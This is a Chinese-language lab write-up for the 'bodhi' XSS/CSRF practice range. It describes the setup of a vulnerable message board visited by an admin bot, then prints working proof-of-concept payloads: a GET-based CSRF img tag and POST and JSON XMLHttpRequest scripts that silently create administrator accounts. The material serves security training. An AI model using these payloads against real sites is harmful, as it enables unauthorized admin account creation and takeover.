xss+csrf的漏洞测试小靶场
难度递升的6个题目,第6个的技巧还是有的:正则取数据,延时请求。
靶场下载地址:http://github.com/amolnaik4/bodhi
靶场逻辑:
一个留言板功能(另一个上传html文件作为漏洞点)作为漏洞点+后台一个进程(admin_bot.py)模拟管理员访问留言板的内容。
文章目录
代码运行
由于代码原来是用docker方式的启动,因此需要对代码做些修改
- firefox?? or chrome and its driver in admin_bot.py
- uploads another_server的目录代码 调整 在 in admin_bot.py and server_8000.py
poc
直接给出的方式。
1.get csrf
能达到get请求就可以
<img src="/add_admin?username=admin111&password=admin111&isAdmin=yes&submit=Add User" />
2.post csrf
post请求可以有两种方式
- 虚拟表单提交
- 参考异步请求的方式
1. 虚拟表单
…
2. 异步请求
- 构造XMLHttpRequest对象
- 设置请求头
- 然后使用其发送异步请求
xmlhttp.setRequestHeader(“Content-Type”,“application/x-www-form-urlencoded;”);
<script language="javascript">
var url = "/add_admin";var xmlhttp;
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4&&xmlhttp.status===200){var b=3;}};
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
var data="username=admin222&password=admin222&isAdmin=yes&submit=Add User";
xmlhttp.send(data);
</script>
3.JSON based CSRF
- 构造XMLHttpRequest对象
- 设置请求头
- 然后使用其发送异步请求
xmlhttp.setRequestHeader(“Content-type”,“application/json”)
<script language="javascript">var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState===4 && xmlhttp.status===200){var b=3;}};xmlhttp.open("POST","/add_admin",true);xmlhttp.setRequestHeader("Content-type","application/json");var data = {"username":"admin333","password":"admin333","isAdmin":"yes","submit":"Add User"};var data_json = JSON.stringify(data);xmlhttp.send(data_json);</script>